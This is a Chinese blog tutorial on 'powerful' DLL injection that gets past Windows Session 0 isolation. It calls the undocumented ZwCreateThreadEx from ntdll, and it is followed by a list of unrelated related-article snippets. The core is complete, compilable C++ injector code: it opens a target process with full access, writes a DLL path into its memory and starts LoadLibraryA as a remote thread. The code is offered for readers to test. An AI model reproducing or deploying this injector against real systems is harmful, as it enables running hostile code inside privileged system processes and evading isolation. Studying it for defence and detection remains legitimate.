3.3 DLL注入:突破会话0强力注入
Session是Windows
系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0
和Session 1
的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。
由于DLL
注入在Session 0
中的注入机制不同于在用户会话中的注入机制,因此需要特别的考虑和处理。如果需要执行DLL注入,必须使用过度级别安全
机制解决Session 0
上下文问题,并且在设计安全方案时,必须考虑Session 0
和Session 1
之间的区别。
在之前的远程线程注入章节中,我们通过使用CreateRemoteThread()
这个函数来完成线程注入,此方式可以注入普通的进程,但却无法注入到系统进程中,因为系统进程是处在SESSION0
高权限级别的会话层,由于CreateRemoteThread()
底层会调用ZwCreateThreadEx()
这个未公开的内核函数,所以当我们调用该函数的底层函数时则可实现突破Session0的注入机制。
由于该内核函数并未被导出,所以我们必须找到该函数的原型定义,并通过GetProcAddress
获取到ntdll.dll
模块下的ZwCreateThreadEx
的函数地址,并通过ZwCreateThreadEx
函数指针直接调用模块;
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif
当拿到ZwCreateThreadEx
函数指针时,则接下来就可以调用了,ZwCreateThreadEx 可以用于创建一个远程线程,即在目标进程中创建一个线程,并在这个线程中运行指定的代码。与CreateRemoteThread
不同,ZwCreateThreadEx
可以用于创建一个在指定进程的上下文之外的线程,即可以创建一个与指定进程无关的线程。
它的函数原型定义如下:
NTSYSAPI NTSTATUS NTAPI ZwCreateThreadEx(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,HANDLE ProcessHandle,PVOID StartRoutine,PVOID Argument,ULONG CreateFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,PPS_ATTRIBUTE_LIST AttributeList);
其参数说明如下:
- ThreadHandle 用于返回创建的线程句柄的指针。
- DesiredAccess 用于指定线程句柄的访问权限。
- ObjectAttributes 一个指向 OBJECT_ATTRIBUTES 结构的指针,指定线程对象的对象名和安全性属性。
- ProcessHandle 目标进程的句柄,即在哪个进程中创建新线程。
- StartRoutine 一个指向新线程的入口点的指针。
- Argument 第二个参数传递给新线程的指针。
- CreateFlags 指定创建线程的属性,如堆栈大小、创建标志、线程属性等。
- ZeroBits 保留参数,应该传递0。
- StackSize 线程堆栈大小。
- MaximumStackSize 线程堆栈的最大大小。
- AttributeList 指向结构 PS_ATTRIBUTE_LIST,该结构可以用于在线程创建时指定各种属性。
具备了上述基本条件那么注入代码的事项将变得非常容易,如下代码是这个注入程序的完整实现流程,读者可自行测试注入效果;
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{DWORD dwPID = 0xFFFFFFFF;HANDLE hSnapShot = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);Process32First(hSnapShot, &pe);do{if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)){dwPID = pe.th32ProcessID;break;}} while (Process32Next(hSnapShot, &pe));CloseHandle(hSnapShot);return dwPID;
}// 强力注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pDllName)
{HANDLE hProcess = NULL;SIZE_T dwSize = 0;LPVOID pDllAddr = NULL;FARPROC pFuncProcAddr = NULL;HANDLE hRemoteThread = NULL;DWORD dwStatus = 0;// 打开注入进程hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){return FALSE;}// 在注入进程中申请内存dwSize = sizeof(char) + lstrlen(pDllName);pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (NULL == pDllAddr){return FALSE;}// 向申请的内存中写入数据if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pDllName, dwSize, NULL)){return FALSE;}// 加载ntdll.dll模块HMODULE hNtdllDll = LoadLibrary("ntdll.dll");if (NULL == hNtdllDll){return FALSE;}// 获取LoadLibraryA函数地址pFuncProcAddr = GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");if (NULL == pFuncProcAddr){return FALSE;}// 获取ZwCreateThread函数地址
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");if (NULL == ZwCreateThreadEx){return FALSE;}// 调用函数执行强力注入dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);if (NULL == hRemoteThread){return FALSE;}// 关闭句柄CloseHandle(hProcess);FreeLibrary(hNtdllDll);return TRUE;
}int main(int argc, char *argv[])
{DWORD pid = FindProcessID("lyshark.exe");std::cout << "进程PID: " << pid << std::endl;bool flag = ZwCreateThreadExInjectDll(pid, (char *)"d://hook.dll");std::cout << "注入状态: " << flag << std::endl;return 0;
}
本文作者: 王瑞
本文链接: https://www.lyshark.com/post/102cca99.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
相关文章:
3.3 DLL注入:突破会话0强力注入
Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0和Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级…...

C语言 —— 初步入门知识(内存、指针、结构体)
本篇文章将接着上篇继续介绍C语言的基础知识,那么对于C语言大部分初学者会觉得难以理解, 所以作者将指针单独拿出来写篇较短的文章进行讲解。 1.指针 1.1 内存 要学习指针,就先要了解内存。一起来看。 内存是计算机中的关键组成部分ÿ…...

PHP8中字符串与数组的转换-PHP8知识详解
在php8中使用explode()函数和implode()函数实现字符串和数组之间的转换。 1、使用explode()函数把字符串按照一定的规则拆分为数组中的元素,并且形成数组。 使用explode()函数把字符串转换数组,示范代码: <?php $string "html,cs…...

Wordtune:文本编辑工具
【产品介绍】 名称 Wordtune 上线时间 成立于2018年。 具体描述 Wordtune是一款基于人类智能的文本编辑工具,它可以帮助用户快速修改和重写英文,以改进文本的清晰度、流畅度和可读性。Wordtune使用先进的自然语言处理技术&#x…...
notifyIcon动态图标
定时器内调用下面代码 代码如下: if(DateTime.Now.Second % 2 0) {notifyIcon1.Icon new System.Drawing.Icon(Application.StartupPath "\abc.ico");}else{notifyIcon1.Icon new System.Drawing.Icon(Application.StartupPath "\abc2.ico"…...

2023年墨西哥 SP/BMV IPC 研究报告
第一章 指数概况 1.1 指数基本情况 墨西哥 S&P/BMV IPC 指数衡量在墨西哥证券交易所 (Bolsa Mexicana de Valores, BMV)上市,规模最大、流动性最高的股票表现。提供一个覆盖墨西哥股市的广泛、具有代表性且可轻易复制的指数。根据多元化要求,按市值…...

JWT生成与解析/JWT令牌前端存储
第一步:创建项目 添加Maven依赖: <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.62</version> </dependency> <dependency><groupId>org.s…...
[交互]前端展示服务端获取的图片
可以通过以下步骤从服务端获取图片: 引入axios库:在前端代码中使用axios库来发送HTTP请求。可以通过以下方式引入axios: import axios from axios;发送请求:使用axios发送HTTP请求,获取图片文件的二进制数据。发送请求…...

LeetCode2.两数相加
一看完题,我的想法是先算出这两个链表表示的数,然后相加,然后把这个数一位一位的分配给第三个数组,这种方法应该很简单但是要遍历三次数组,于是我就想直接一遍遍历,两个链表同时往后面遍历,把这…...

Linux编译过程与交叉编译
一.GCC由来 GCC(GNU编译器套件)是一个自由开源的编程工具集,用于编译和链接C、C和其他编程语言的程序。它由理查德斯托曼(Richard Stallman)和其他自由软件基金会(Free Software Foundation)的…...

MediaPipe+OpenCV 实现实时手势识别(附Python源码)
MediaPipe官网:https://developers.google.com/mediapipe MediaPipe仓库:https://github.com/google/mediapipe 一、MediaPipe介绍 MediaPipe 是一个由 Google 开发的开源跨平台机器学习框架,用于构建视觉和感知应用程序。它提供了一系列预训…...

为什么选择C/C++内存检测工具AddressSanitizer?如何使用AddressSanitizer?
目录 1、C程序中的内存问题 2、AddressSanitizer是什么? 3、AddressSanitizer内存检测原理简述 3.1、内存映射 3.2、插桩 4、为什么选择AddressSanitizer? 4.1、Valgrind介绍 4.2、AddressSanitizer在速度和内存方面为什么明显优于Valgrind 4.3…...
获取vue当前页面url问号后面的参数
除了使用 window.location.search 或 Vue Router 的 $route.query 来获取 URL 问号后面的参数之外,您还可以使用 JavaScript 中的正则表达式来解析 URL 中的参数部分。以下是一个示例: // 获取当前页面的完整 URL const currentURL window.location.hre…...

Linux编程之线程池的设计与实现
Linux编程之线程池的设计与实现(C98) 代码 假设服务器的硬件资源“充裕”,那么提高服务器性能的一个很直接的方法就是空间换时间, 即“浪费”服务器的硬件资源,以换取其运行效率。 提升服务器性能的一个重要方法就是…...

stm32---定时器输入捕获
一、输入捕获介绍 在定时器中断实验章节中我们介绍了通用定时器具有多种功能,输入捕获就是其中一种。 STM32F1除了基本定时器TIM6和TIM7,其他定时器都具有输入捕获功能 。输入捕获可以对输入的信号的上升沿,下降沿或者双边沿进行捕获…...

打造生产级Llama大模型服务
对于任何想要尝试人工智能或本地LLM,又不想因为意外的云账单或 API 费用而感到震惊的人,我可以告诉你我自己的旅程是如何的,以及如何开始使用廉价的消费级硬件执行Llama2 推理 。 这个项目一直在以非常活跃的速度发展,这使得它非…...

Acwing 828. 模拟栈
Acwing 828. 模拟栈 题目要求思路讲解代码展示 题目要求 思路讲解 栈:先进后出 队列:先进先出 代码展示 #include <iostream>using namespace std;const int N 100010;int m; int stk[N], tt;int main() {cin >> m;while (m -- ){string o…...

初识Docker
文章目录 Docker安装Docker简介1.什么是虚拟化、容器化?2. 为什么需要虚拟化、容器化?3. 虚拟化的实现方式主机虚拟化的实现方式容器虚拟化实现 4. 虚拟机和Docker的区别 Docker安装 基于Centos7进行安装 1.确认系统版本和CPU架构,Centos7的x86_64架构…...
HTTPS Tomcat Servlet 博客系统 软件测试的概念 Linux
第 1 题(多选题) 题目名称: 以下关于http和https说法正确的是 题目内容: A .http是超文本传输协议 B .https是超文本传输安全协议 C .http是明文传输 D .https是加密传输 第 2 题(单选题) 题目名称…...

云南财经大学《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作
云南财经大学《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作...

Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...

ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...

排序算法总结(C++)
目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指:同样大小的样本 **(同样大小的数据)**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
Webpack性能优化:构建速度与体积优化策略
一、构建速度优化 1、升级Webpack和Node.js 优化效果:Webpack 4比Webpack 3构建时间降低60%-98%。原因: V8引擎优化(for of替代forEach、Map/Set替代Object)。默认使用更快的md4哈希算法。AST直接从Loa…...
Leetcode33( 搜索旋转排序数组)
题目表述 整数数组 nums 按升序排列,数组中的值 互不相同 。 在传递给函数之前,nums 在预先未知的某个下标 k(0 < k < nums.length)上进行了 旋转,使数组变为 [nums[k], nums[k1], …, nums[n-1], nums[0], nu…...
深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向
在人工智能技术呈指数级发展的当下,大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性,吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型,成为释放其巨大潜力的关键所在&…...

Unity VR/MR开发-VR开发与传统3D开发的差异
视频讲解链接:【XR马斯维】VR/MR开发与传统3D开发的差异【UnityVR/MR开发教程--入门】_哔哩哔哩_bilibili...

HTTPS证书一年多少钱?
HTTPS证书作为保障网站数据传输安全的重要工具,成为众多网站运营者的必备选择。然而,面对市场上种类繁多的HTTPS证书,其一年费用究竟是多少,又受哪些因素影响呢? 首先,HTTPS证书通常在PinTrust这样的专业平…...